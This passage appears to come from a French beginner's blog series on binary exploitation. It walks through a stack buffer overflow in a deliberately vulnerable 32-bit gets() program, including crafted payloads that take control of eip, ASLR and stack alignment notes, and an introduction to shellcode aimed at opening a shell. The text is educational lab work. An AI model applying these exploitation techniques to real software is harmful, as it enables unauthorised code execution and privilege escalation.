'EEEEEEEE'. Pourquoi cela n’a pas posé de problème alors que rbp pointe vers 0x4545454545454545 et que cela n’est pas une adresse valable ?Très bonne remarque ! Effectivement rbp ne pointe pas vers une adresse valide mais comme nous rentrons dans les premières instructions de goal, nous exécutons le prologue push rbp; mov rbp, rsp. On a donc : avant d’entrer dans goal : rsp = 0x7fffffffd5b0 rbp = 0x4545454545454545 dans goal : rsp = 0x7fffffffd5b0 rbp = 0x7fffffffd5b0 à la sortie de goal (avant ret): rsp = 0x7fffffffd5b0 rbp = 0x4545454545454545 Ainsi, lorsque l’on entre dans une fonction en exécutant son prologue, nous n’avons pas besoin d’avoir une valeur valide pour rbp. Avoir une adresse valide dans rbp est nécessaire dans le cas où rbp est utilisé tel quel dans le bout de code ou fonction exécutée.📝 ExercicePour ceux qui veulent pratiquer encore un peu et pour ceux qui ne se sont contentés que de lire ce cours sans pratiquer de leur côté (je vous vois 🧐), ci-dessous un petit exercice assez facile : il s’agit du même programme sauf que la taille du tableau a été réduite à 13 octets.Accès au conteneur Docker : 🎯 Objectif : appeler goal en contrôlant rip ⬇️ Téléchargement : pwn-stack-vuln-2.zip 🔎 SHA256 &amp; Analyse Virus Total : ecca998d4ef495249ec80ca10363ff5688b90179dbe9ef09efe60f6fe30a3d51 ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-vuln-2 .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-vuln-2Vous devrez, évidemment, adapter le payload en conséquence.📋 SynthèsePour conclure, retenons les points essentiels abordés dans ce chapitre : Une vulnérabilité de type stack buffer overflow permet d’écraser l’adresse de retour stockée sur la pile et donc de contrôler rip ; un plantage (signal SIGSEGV par exemple) est souvent un indicateur, mais comprendre où et pourquoi il survient est essentiel pour exploiter correctement la vulnérabilité ; l’exploitation peut entraîner des effets de bord (par exemple une valeur invalide de rbp) qui ne sont pas toujours bloquants ; dans la pratique, un payload contient rarement uniquement des caractères ASCII, ce qui nécessite des méthodes adaptées pour l’injecter." }, { "title": "Partie 4 - Exploiter un BO - pile exécutable – principes fondamentaux (1/4)", "url": "/posts/introduction_au_pwn_partie_4/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-05 08:00:00 -0200", "snippet": "Exploiter un stack buffer overflow : pile exécutable – principes fondamentaux (1/4) Tu nous as promis d’apprendre à exploiter des vulnérabilités pour ouvrir un shell et devenir root, pas pour just...", "content": "Exploiter un stack buffer overflow : pile exécutable – principes fondamentaux (1/4) Tu nous as promis d’apprendre à exploiter des vulnérabilités pour ouvrir un shell et devenir root, pas pour juste afficher un simple message …On y vient ! On a vu précédemment le principe du dépassement de mémoire tampon sur la pile et la manière dont on pouvait exploiter ça. Cela ne devrait donc pas totalement vous dépayser d’exploiter ce type de vulnérabilité avec une nouvelle méthode. C’est une méthode qui, telle quelle, n’est plus d’actualité car de nos jours la pile n’est généralement plus exécutable. Cependant, dans les cas où il est possible d’allouer de la mémoire exécutable (avec mmap ou mprotect par exemple), nous pourrons toujours réutiliser cette méthode. Dans le cadre de l’exploitation des différentes vulnérabilités que nous allons rencontrer, nous désactiverons certaines protections afin de faciliter l’exploitation. De ce fait, cela va réduire la sécurité de votre machine. Encore une fois, nous vous conseillons vivement de mettre en place une machine virtuelle qui vous servira de labo de test. Pour ce qui est de l’OS à choisir, vous pouvez opter pour une distribution Ubuntu 24.04 x86_64 afin de maximiser la compatibilité des programmes que nous exploitons. De manière générale, n’importe quelle distribution “Debian like” récente devrait fonctionner. Le cas échéant, en utilisant les conteneurs Docker proposés, vous ne devriez avoir aucun souci de compatibilité.Le programme que nous allons utiliser est le suivant :#include \"stdio.h\" int main() { char prenom[256] = {0}; // /!\\ augmentation de la taille gets(&amp;prenom); printf(\"Bonjour %s !\\n\",prenom); return 0; }On le compile avec : gcc -m32 -no-pie -fno-stack-protector -z execstack main.c -o vuln_no_nx. Si vous n’arrivez pas à compiler en 32 bits, il est possible que vous deviez installer le paquet gcc-multilib (pour les distributions de type Debian).Pour télécharger l’archive du conteneur Docker, c’est par ici : ⬇️ Téléchargement : pwn-stack-vuln-no-nx.zip 🔎 SHA256 &amp; Analyse Virus Total : 9a97f084d163129f03ad684bfb6d3532ef4c50668e7a1652f6ff650c9f2e6c06 ⚙️ Construction et lancement du conteneur :docker build -t pwn-stack-vuln-no-nx .docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-stack-vuln-no-nx Lors de ce chapitre, nous vous recommandons fortement d’utiliser le conteneur Docker afin d’avoir le même contexte d’exécution. Cela vous évitera pas mal de petits problèmes qui peuvent s’accumuler en cours de route.Si vous n’arrivez pas à lancer le programme, il se peut que la libc 32 bits soit manquante. Dans ce cas, pour les distributions utilisant apt et dpkg, il est possible d’y remédier avec ces commandes :sudo dpkg --add-architecture i386 sudo apt updatesudo apt install libc6:i386Pour ce qui est des options, nous avons déjà vu précédemment les deux premières. En revanche, la dernière option est nouvelle pour nous : -z execstack : avec cette option nous faisons en sorte que la pile soit exécutable. Cela peut vous paraître bizarre car nous avons vu que la pile avait seulement les droits rw. Néanmoins, dans d’anciens programme (avant les années 2000), la pile pouvait avoir les droits rwx avant l’introduction de certains correctifs, notamment le bit NX.. -m32 : besoin d’expliquer ? RTM 😆 ! Vous constaterez que l’exploitation de ce challenge s’étale sur plusieurs chapitres. L’exploitation de ce type de vulnérabilité est classique et n’est pas très compliqué pour quelqu’un qui a déjà de l’expérience en pwn. Par contre, lorsque que l’on débute, il y a quelques difficultés qui, si elles sont incomprises, peuvent vous empêcher d’avancer dans l’exploitation d’un programme. L’exploitation du programme donc paraître longue mais les différents écueils rencontrés en valent le détour. Ils sont généralement présents dans pas mal de challenges de pwn.ExploitationNous n’allons pas revenir sur la vulnérabilité, c’est la même qu’au précédent chapitre 🙄. Ce qui va changer ici est la manière dont on va l’exploiter. Encore une fois, bien que de nos jours la pile ne soit plus exécutable, cette méthode peut être appliquée dès lors que l’on peut allouer de la mémoire exécutable. Ce n’est donc pas du temps perdu 🤓.Allons droit au but et faisons planter notre programme dans gdb pour arriver au ret avec une très longue chaîne de caractères. Comme ce ne sont que les caractères au-delà de l’offset 256 qui nous intéressent, nous utilisons un payload de la forme \"A\"*256+\"B\"*4+\"C\"*4 .... Pitié n’écrivez pas à la main de payload aussi long 😭, utilisez un terminal python (ou autre) pour générer la chaîne de caractère.On commence en tâtonnant avec \"A\"*256 + \"C\"*4, puis \"A\"*256 + \"C\"*4 +\"D\"*4 etc. jusqu’à obtenir un crash.Voici le payload qui fait planter le programme pour la première fois : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD et le résultat :En voyant cela, je reste un peu dubitatif, pas vous ? 😄 bonne nouvelle : on arrive bien à contrôler eip ; 😣 mauvaise nouvelle : on ne s’attendait pas à contrôler eip avec les caractères A car ils sont dans notre buffer prenom et ne devraient donc pas affecter l’adresse de retour.Affaire à suivre 🔎 …🔎 Diagnostique du plantageTout d’abord, jetons un œil au code assembleur de la fonction main :PIE à deux niveaux C’est quoi cette fonction __x86.get_pc_thunk.bx ? Je l’ai pas ajoutée dans le main moi !En fait cette fonction met l’adresse de l’instruction qui suit son appel dans ebx (ici : 0x080491a1). Cela permet ensuite d’accéder à des données relatives à eip. D’ailleurs, la prochaine instruction ajoute 0x2e5f à ebx qui vaudra in fine 0x804c000 : c’est la zone mémoire des données (rw). Vous voyez ensuite à l’instruction 0x080491e1 que cela permet de charger la chaîne de caractère \"Bonjour %s !\\n\" en utilisant un offset négatif pour revenir en arrière (dans la zone mémoire des données en lecture seule). Je comprends, mais on a bien compilé notre programme pour qu’il ne soit pas PIE avec -no-pie.En fait il existe deux options pour avoir un programme non PIE : -no-pie : option utilisée lors du linking (édition de liens 🇫🇷) ; -fno-pie : option utilisée lors de la compilation.Comme -no-pie n’agit qu’à partir de l’édition de liens qui est une étape postérieure à la compilation, le compilateur ne sait pas à l’avance que le programme qu’il compile sera chargé à une adresse de base fixe (en 32 bits à l’adresse 0x8048000).Par conséquent, il ne saura pas ce que vaudra eip à chaque instruction. Ainsi, si on compile avec l’option -fno-pie, vous verrez que le compilateur partira du principe que le programme sera chargé à l’adresse 0x8048000 et utilisera donc des adresses absolues plutôt que des adresses relatives (via ebx par exemple) :On constate bien que lorsque l’option -fno-pie est ajoutée, le compilateur part du principe que le programme sera chargé à l’adresse 0x8048000. Il peut donc accéder à n’importe quelle variable globale en utilisant une adresse absolue.Prologue et épilogueRevenons au code assembleur du main.Comme vous pouvez le voir, le prologue fait pas mal de choses et sauvegarde pas mal de registres. Cela n’est pas un problème en soi, le souci est que lors de l’épilogue, esp est chargé à partir de la valeur de ecx.ecx est évidemment stocké dans la pile avant l’adresse de retour. Ainsi, si on réécrit l’adresse de retour, on aura forcément écrasé ecx sur la pile. Par conséquent, on aura écrasé l’ancienne valeur de esp.Contrairement à ebp, nous devons garder une valeur valide pour esp car il sera utilisé premièrement pour récupérer l’adresse de retour, mais aussi pour stocker et charger certaines valeurs entre les registres et la mémoire. Autant dire que si esp vaut 0x42424242, on est mal barrés 🤕 ! On peut pas lui donner simplement une adresse valide comme 0x8048000 ?En fait, si on écrase esp il faut s’assurer de deux choses : l’adresse est située dans une zone mémoire où il est possible de lire et écrire ; on contrôle la zone mémoire autour de cette adresse.Vous remarquerez d’ailleurs que lors que notre programme a planté, eip a été contrôlé tout en ayant une valeur correcte pour esp. Comment cela est-il possible après avoir expliqué plus haut que “ écraser l’adresse de retour == écraser esp “ ?En fait notre payload n’a pas totalement écrasé la valeur sauvegardée de ecx, voici ce qui s’est passé une fois arrivé à l’adresse 0x80491f8 : Pourquoi il y a un octet nul dans l’ancienne valeur de ecx alors que notre payload n’en contenait pas ?Certes, notre payload ne contenait pas d’octet nul. En revanche, vu qu’il a été saisi à la main (en faisant un copier-coller), on a aussi dû appuyer sur Entrée pour envoyer le payload. Or le fait de saisir Entrée ajoute un saut de ligne.Cette explication n’a pas l’air de nous avancer davantage car on a, au final, un octet nul et non pas \\n dans l’octet de poids faible de l’ancienne valeur de ecx. Allons à la recherche d’explications dans le manuel de gets. Une ligne attire notre attention :gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte ('\\0').La fonction, gets lit notre entrée utilisateur jusqu’à ce que \\n soit envoyé dans stdin. Une fois que que \\n est saisi, la chaîne de caractère lue est envoyée. Enfin, elle n’est pas envoyée telle quelle : le saut de ligne \\n est remplacé par un octet nul \\x00, d’où la valeur modifiée de ecx. Il y a deux points essentiels à retenir de ce que nous venons de voir : La première est qu’il peut y avoir des effets de bord dans un programme ou une fonction qui impliquent parfois une vulnérabilité. Il faut donc toujours se poser la question, lors de l’analyse du programme, “qu’est-ce qui pourrait mal se passer ?”. Vous ne pouvez pas imaginer le nombre d’effets de bord que l’on peut utiliser dans des fonctions comme printf, malloc, scanf etc. Deuxièmement, nous venons de découvrir une technique pour contrôler un registre sans avoir à écraser totalement sa valeur en écrasant seulement l’octet de poids faible. Gardez cette astuce en tête car cela est très utile dans les programmes PIE où l’on ne sait pas à quelle adresse est chargé le programme.Pour en revenir à nos moutons 🐑, lorsque l’on a utilisé le payload : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD, nous avons constaté que eip avait, lors du plantage, la valeur 0x41414141.Ce qu’il s’est passé est que la valeur sauvegardée de ecx était, par exemple, de 0xffffc7c0. Or, lorsque l’on écrase l’octet de poids faible avec un octet nul, cette adresse devient 0xffffc700. Il y a donc un décalage de 0xc0 octets entre l’ancienne adresse et la nouvelle.De plus, comme esp est chargé à partir de ecx par l’instruction lea esp, [ecx - 4], cela est équivalent à faire sub esp, 0xc0 (car le décalage est de 0xc0 octets). C’est pourquoi on est “revenus en arrière” dans notre buffer prenom et que lors du ret, eip a pris la valeur \"AAAA\".Je sais que ça peut paraître un peu technique en lisant cela de prime abord. Essayez de relire l’explication à tête reposée en faisant des schémas et en regardant ce que cela donne dans gdb de votre côté afin que cela vous paraisse plus clair.Comment exploiter tout ça ?Normalement, si vous avez bien compris ce dont on a parlé précédemment, vous devriez avoir compris qu’il y a deux manières d’exploiter ce programme : méthode rapide : écraser l’octet de poids faible de ecx sur la pile avec 0x00 ; méthode avancée : écraser l’adresse de retour ainsi que tous les registres sauvegardés au passage.Laquelle de ces deux méthodes est la plus simple ? Cela va dépendre du contexte.Si l’ASLR est activée, alors la première méthode sera plus intéressante car on aura pas à deviner la valeur de esp vu que l’on ne modifie seulement l’octet de poids faible.Si l’ASLR est désactivée, alors la seconde méthode est plus intéressante car on connaîtra à l’avance la valeur de esp, on pourra donc la restaurer ou la modifier comme bon nous semble.Comme l’ASLR n’a été réellement supportée par Linux qu’à partir de 2005, nous allons faire comme si on exploitait un vieux programme. Une fois que la manière d’exploiter un programme sans ASLR est comprise, nous pourrons ajouter de plus en plus de protections.ASLROn en a parlé maintes fois sans rentrer dans les détails du fonctionnement de cette protection. Voyons comment cela fonctionne.L’ASLR (Address space layout randomization) est une protection permettant d’aléatoiriser certaines adresses mémoire. Cela permet de rendre plus compliquée l’exploitation d’un programme car on ne sait pas à l’avance où sera chargée la pile, les instructions et les données (quand PIE est activée) …Dans gdb, activons l’ASLR avec aslr on puis relançons le programme afin qu’il s’arrête au début de main. En désactivant l’ASLR dans gdb, cela ne désactive pas l’ASLR entièrement dans l’OS. Cela permet seulement de dire à gdb : “les prochaines fois que tu charges mon programme, fais en sorte que les zones mémoires soient chargées à des adresses fixes”. Quand l’ASLR est désactivée pour un programme, il devient plus simple de le déboguer.Par défaut, l’ASLR est désactivée dans pwndbg, en la réactivant, lançons deux fois notre programme afin de comparer leurs mappings mémoire :Nous constatons que : certaines zones mémoires sont mappées aux mêmes adresses : il s’agit de notre programme que l’on a compilé sans activer PIE ; d’autres sont mappées à des adresses différentes d’une exécution à une autre, c’est le principe de l’ASLR. Parmi ces zones mémoires, il y a : la libc, ld, la pile etc.Autre point intéressant pour les plus curieux, affichons l’adresse de la fonction system lors de deux exécution successives : 0xeb036170 ; 0xf4f4f170.On remarque que system est effectivement chargé à deux adresses différentes mais qui ne sont pas totalement différentes : l’octet de poids faible et le demi-octet qui le suit sont les mêmes (0x170). Ce n’est pas une coïncidence !En réalité les adresses d’un programme ne peuvent pas être totalement aléatoires. C’est assez logique : dans un fonction, on ne peut pas avoir une instruction à l’adresse 0xabcdef50 et l’instruction suivante à l’adresse 0x123456f9. Cela n’aurait pas de sens pour le processeur qui ne saura plus où trouver la prochaine instruction.Ce qui est réalisé par l’ASLR pour les programmes PIE est seulement un chargement de toute une section (en l’occurrence celle contenant les instructions) à une adresse aléatoire, par exemple :De cette manière, nous savons que peu importe l’adresse initiale à laquelle est chargée la section de code, en ajoutant 0xb à cette adresse on tombera toujours sur l’instruction mov ebp, esp.Cette notion est cruciale en pwn car c’est ce qui nous permet de ne plus avoir à toujours utiliser des adresse absolues dans notre exploit mais plutôt des offsets (décalages mémoire 🇫🇷). Nous utiliserons très souvent cette astuce dans de prochains chapitres.1️⃣ Contrôler eipPremière étape dans l’exploitation : 🎯 contrôler eip.Comme nous allons désactiver l’ASLR lors de cette exploitation, mettons l’ASLR dans un coin de notre tête et faisons comme si nous en avions jamais parlée. Parmi les deux méthodes susmentionnées, nous allons exploiter ce programme avec la deuxième qui nous permet d’avoir plus de contrôle sur ce que nous faisons. Astuce gdb : Il est possible de désactiver l’ASLR dans pwndbg avec aslr off. Il sera ensuite nécessaire de relancer le programme pour que le changement soit effectif. Cela ne désactive l’ASLR que pour le programme en cours de débogage et n’a pas d’incidence sur les autres programmes de la machine.Premièrement, il va falloir trouver à partir de quel décalage dans l’entrée nous arrivons à écraser l’adresse de retour. C’est très simple ! Il suffit d’augmenter la taille de notre payload 4 octets par 4 octets pour voir dans gdb à partir de quand on écrase l’adresse de retour 😎.C’est très bien d’y avoir pensé ! Mais… c’est une fausse bonne idée. Pour rappel, à la fin du main, esp est chargé à partir de la valeur de ecx qui est elle-même écrasée par notre payload. Il est donc nécessaire que ecx contienne une adresse vers une zone mémoire que nous contrôlons : la pile. Enfin, on ne contrôle pas totalement la pile mais on entend par là que l’on contrôle le contenu d’une partie de la pile, à savoir le buffer prenom.Concernant l’adresse de la pile que nous allons placer dans ecx via notre chaîne de caractères, c’est très simple : nous allons réutiliser celle qui aurait dû s’y trouver si le programme s’était exécuté normalement.Pour trouver cette adresse, il suffit de lancer le programme avec une entrée qui n’écrase pas ecx par exemple :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCEnsuite, il faut mettre un point d’arrêt à l’adresse 0x80491f8 avant que pop ecx soit exécuté pour voir ce qu’il va falloir utiliser comme adresse pour ecx : Il se peut que vous ayez une valeur différente de celle que j’ai. Par contre, vous devriez avoir la même valeur d’une exécution à une autre étant donné que l’ASLR est désactivée. ⚠️ Prenez bien le temps de récupérer cette valeur et de l’adapter dans les prochains payloads afin d’être en mesure de suivre le cours sans soucis. Astuce gdb : il est possible d’utiliser la commande stack N pour afficher les N premières valeurs de la piles dans un format plus lisible que les commandes classiques.A présent que nous savons quelle valeur doit avoir ecx, nous pouvons ajouter \\xc0\\xc7\\xff\\xff (little endian oblige) à notre payload. Techniquement, il ne reste plus qu’à écraser les 3 registres restants restaurés (respectivement ebx, edi et ebp) pour atteindre l’adresse de retour. Tentons d’écraser eip avec 0xdeadbeef en utilisant cette nouvelle charge utile :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\xc0\\xc7\\xff\\xffEEEEFFFFGGGG\\xef\\xbe\\xad\\xdeIci l’adresse \\xc0\\xc7\\xff\\xff est à adapter en fonction de ce que vous avez. Euh … comment on censés envoyer des caractères non ASCII dans gdb? Astuce gdb : En utilisant run &lt; &lt;(commande) dans gdb, il est possible d’envoyer la même entrée à un programme que si on faisait commande | ./prgrm en dehors de gdb. Si vous avez une erreur du type /bin/sh: 1: Syntax error: redirection unexpected, cela est sûrement dû au fait que gdb utilise sh comme terminal au lieu de bash. Pour cela, vous pouvez remplacer sh par bash avec ln -sf /usr/bin/bash /bin/sh. ⚠️ Attention, cette commande, sur votre machine, fera en sorte que /bin/sh exécute toujours bash et ce, définitivement. En revanche, cette commande peut être utilisée sans soucis dans un conteneur car le Dockerfile se charge de mettre en place ce lien symbolique.Pour envoyer un payload en utilisant des caractères non ASCII et pour éviter le saut de ligne, on utilise :run &lt; &lt;(echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\xc0\\xc7\\xff\\xffEEEEFFFFGGGG\\xef\\xbe\\xad\\xde' )Du travail, encore du travailEn envoyant ce payload, on s’aperçoit que ecx a bien la valeur qu’il doit avoir par rapport à une exécution nominale. De plus, on contrôle bien comme convenu ebx, edi et ebp. Par contre, on ne contrôle pas eip et le programme termine son exécution sans soucis 😓.Cette fois-ci, nous n’allons pas diagnostiquer en détails pourquoi eip n’a pas été écrasé. Voici toutefois quelques indices et pistes de compréhension : on se rend compte, dans gdb, que eip n’est pas situé immédiatement après la valeur sauvegardée de ebp mais 0x10 octets plus loin ; dans le prologue, esp est aligné par l’instruction and esp, 0xfffffff0.A partir de ces informations, vous devriez avoir compris la raison pour laquelle nous avons ce décalage : Si vous n’avez toujours pas compris la raison de ce décalage, il faut savoir que lorsque l’on est entré dans le main, esp n’était pas aligné sur 4 bits (mais il se peut que dans votre cas, esp soit aligné auquel cas vous n’avez pas eu ce décalage).Finalement cela ne change pas grand chose-pour nous si ce n’est que nous devons mettre notre valeur de eip quelques offsets plus loin dans notre payload, plus précisément 0x10 comme nous l’avons vu plus précédemment.Réessayons avec ce payload en mettant 0xdeadbeef 16 octets plus loin :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD\\xc0\\xc7\\xff\\xffEEEEFFFFGGGGHHHHIIIIJJJJKKKK\\xef\\xbe\\xad\\xdeN’oubliez pas d’adapter l’adresse \\xc0\\xc7\\xff\\xff si besoin.En plein de dans le mille 🎯 :Super ! On contrôle enfin eip 😎 !Contrôler eip n’est pas un but en soi, néanmoins c’est une étape très souvent nécessaire avant de pouvoir exploiter pleinement une vulnérabilité. C’est déjà une bonne chose de faite. Cela nous a pris un peu de temps pour y parvenir car il y a eu quelques notions et quelques points sur lesquels nous devions nous attarder sans quoi, on ne comprendrait pas très bien ce que nous sommes en train de faire.📋 SynthèseNous sommes arrivés à notre premier objectif qui est de contrôler eip. Notre prochaine étape sera de réaliser une exécution de code arbitraire, c’est-à-dire de faire exécuter à notre programme exploité n’importe quelle instruction assembleur.Voici un résumé de ce que nous avons vu et la méthodologie suivie pour contrôler eip : la fonction gets nous permet de réaliser un buffer overflow dans la pile, via le buffer prenom ; deux méthodes peuvent être utilisées pour contrôler eip ; l’ASLR étant désactivée, nous pouvons même savoir à l’avance vers quelles adresses pointe esp ; un décalage est constaté entre la valeur sauvegardée de ebp et l’adresse de retour en raison du non alignement de esp ; en prenant en compte ce décalage, on réussit à modifier l’adresse de retour." }, { "title": "Partie 5 - Exploiter un BO - pile exécutable – contrôle de EIP/RIP (2/4)", "url": "/posts/introduction_au_pwn_partie_5/", "categories": "Pwn, Introduction au pwn", "tags": "x86, pwn, linux", "date": "2026-05-04 08:00:00 -0200", "snippet": "Exploiter un stack buffer overflow : pile exécutable – contrôle de EIP/RIP (2/4)Nous avons précédemment réussi à contrôler eip en faisant attention à bien ajuster notre payload. Dans cette partie, ...", "content": "Exploiter un stack buffer overflow : pile exécutable – contrôle de EIP/RIP (2/4)Nous avons précédemment réussi à contrôler eip en faisant attention à bien ajuster notre payload. Dans cette partie, nous allons réaliser une exécution de code arbitraire ; plus précisément, nous allons tenter d’ouvrir un terminal à l’aide d’un shellcode.Les shellcodesUn shellcode (ou code encoquillé 🥖) est un ensemble d’instructions généralement injecté et exécuté dans le cadre d’une exploitation de vulnérabilités. Il tient son nom du fait qu’il est généralement utilisé pour ouvrir un shell car cela permet d’exécuter des commandes bash et donc de réaliser pas mal de choses (lire des fichiers, en écrire, en supprimer, ouvrir des connexions …).Il est bien plus pratique d’ouvrir et d’afficher /etc/shadow avec cat /etc/shadow que de réaliser l’équivalent en assembleur. C’est pourquoi l’objectif de ces bouts d’assembleurs est très souvent d’ouvrir un shell mais il est également possible d’en faire autre chose.Un autre avantage du shellcode est qu’une fois dedans, il est possible d’exécuter pas mal de fonctions de la libc grâce aux appels système. Vous le savez peut-être déjà mais plusieurs fonctions de la libc (execve, read, open, close …) ne sont que des surcouches d’appels système. Ainsi, en exécutant directement l’appel système execve, nous n’avons même pas besoin de savoir à quelle adresse est localisée la fonction.Un shellcode n’est ni plus ni moins que de l’assembleur que l’on fait exécuter à un programme vulnérable.Vous pouvez en trouver une multitude d’exemples sur le site shell-storm permettant d’exécuter différentes commandes et ce, pour diverses architectures. Bah oui ! Vu que le shellcode est de l’assembleur, il faudra l’adapter en fonction de l’architecture : x86, x86_64, ARM etc. Vous pouvez trouver sur le site syscall.sh la liste de tous les appels système Linux ainsi que leur convention d’appel en fonction des différentes architectures.L’écriture d’un shellcodeL’écriture d’un shellcode est tout un art 🖌️. Plus sérieusement, lorsque l’on écrit un shellcode il faut souvent faire attention à trois choses : certains caractères sont indirectement interdits : par exemple, si votre shellcode est copié en mémoire avec une fonction du type strncpy, la copie s’arrête au premier octet nul. Si votre shellcode contient des opcodes contenant des octets nuls, il ne sera pas totalement copié en mémoire ; la taille du shellcode : en fonction de la manière dont il sera possible d’injecter le shellcode, il va falloir attention au nombre d’octets que l’on pourra injecter en mémoire ; certains appels système peuvent être bloqués : par mesure de sécurité, il est possible d’interdire l’exécution de certains syscalls dans un programme à l’aide de seccomp. Après tout, pourquoi laisser la possibilité d’exécuter le syscall execve dans un programme qui ne fait que dire Bonjour 😏 ? Nous nous intéresserons plus loin à seccomp grâce à un chapitre dédié.Nous concernant, quelles sont les limitations auxquelles nous allons devoir faire face ?1️⃣ Concernant les caractères interdits, le manuel de gets nous dit qu’il arrête de lire l’entrée lorsqu’il lit un saut de ligne (0x0a en ASCII). Nous pouvons donc utiliser sans problème des octets nuls. En revanche, notre shellcode ne devra pas contenir de sauts de lignes.2️⃣ Pour ce qui est de la taille, ça dépend où est-ce que l’on compte écrire notre shellcode. Nous allons voir cela un peu plus tard.3️⃣ Enfin, comme le programme n’a pas été protégé par seccomp, nous pouvons utiliser n’importe quel appel système 🥳.Où l’écrire ✏️Une question naturelle se pose : où écrire le shellcode ?Étant donné qu’il est nécessaire de l’écrire dans une zone mémoire ayant les droits rwx, nous n’avons pas 36000 solutions. En l’occurrence, seule la pile satisfait ces contraintes dans le programme que l’on souhaite exploiter. Même lorsque la pile n’est pas exécutable, il est souvent envisageable d’utiliser un shellcode. Il suffit de pouvoir créer une zone mémoire avec les droits rwx. Toutefois, pour être honnête avec vous, cette astuce est plus facile à dire qu’à faire. En effet, il faut avoir assez de marge dans l’exploitation pour réaliser un appel à mprotect et parfois même mmap.Nous savons que nous voulons injecter nos instructions dans la pile, mais comment ? On peut pas simplement le mettre dans notre payload puis sauter dedans ?C’est une très bonne idée ! Nous avons la main sur l’entrée utilisateur donc autant en profiter. Comme le contenu du padding de AAAA..A n’est pas important, nous pouvons y mettre les opcodes de notre shellcode. De plus, nous pourrons déterminer via gdb l’adresse de la première instruction. Ainsi, nous mettrons cette adresse dans eip afin de sauter dans notre “code”.Nous avons environ 256 octets de marge pour y insérer nos instructions, vous verrez que c’est largement suffisant. Et si le buffer était beaucoup trop petit, on aurait fait comment ?Si nous n’avons pas assez de marge pour saisir tous les opcodes depuis l’entrée utilisateur, il reste une autre solution : les variables d’environnement !Les variables d’environnement J’ai longuement hésité pour savoir où placer ce sous-chapitre. Finalement je l’ai laissé ici. Bien que nous n’allions pas directement utiliser les variables d’environnement, vous verrez que nous allons vite nous y confronter. Les comprendre ici nous permettra de les appréhender plus facilement la prochaine fois que nous y ferons face.Si vous êtes adepte du monde Linux, vous en avez sûrement déjà utilisées. Les variables d’environnement sont utilisées pour divers usages, mais ce n’est pas notre sujet !Ce qui nous intéresse en pwn est de savoir comment les utiliser afin d’en tirer profit lors de l’exploitation d’une vulnérabilité. Énoncé ainsi, je suis sûr que certains d’entre vous froncent déjà les sourcils et se demandent quel est le rapport entre notre programme et les variables d’environnement.Tout d’abord, il existe principalement deux manières de trouver et afficher ces variables dans gdb : via l’argument envp de main (plus pénible) ; via la variable globale de la libc environ (plus facile).Via mainPour la première méthode, il faut savoir que main prend en réalité 3 arguments : argc, argv et envp.Celui qui nous intéresse est char **envp qui est un tableau de pointeurs vers des chaînes de caractères (comme argv) qui sont, justement, nos variables d’environnement ! Vous pouvez lister vos variables d’environnement dans bash avec la commande env.Vous pouvez donc mettre un point d’arrêt à la première instruction de main et afficher le 3ème argument qui est envp :Quand on affiche quelques valeurs de envp on tombe sur plusieurs pointeurs tous situés … sur la pile ! Voyez par vous-mêmes :En affichant la première chaîne de caractère on tombe bien sur une variable d’environnement :En ajoutant une variable d’environnement, par exemple, avec export SHELLCODE=$(printf 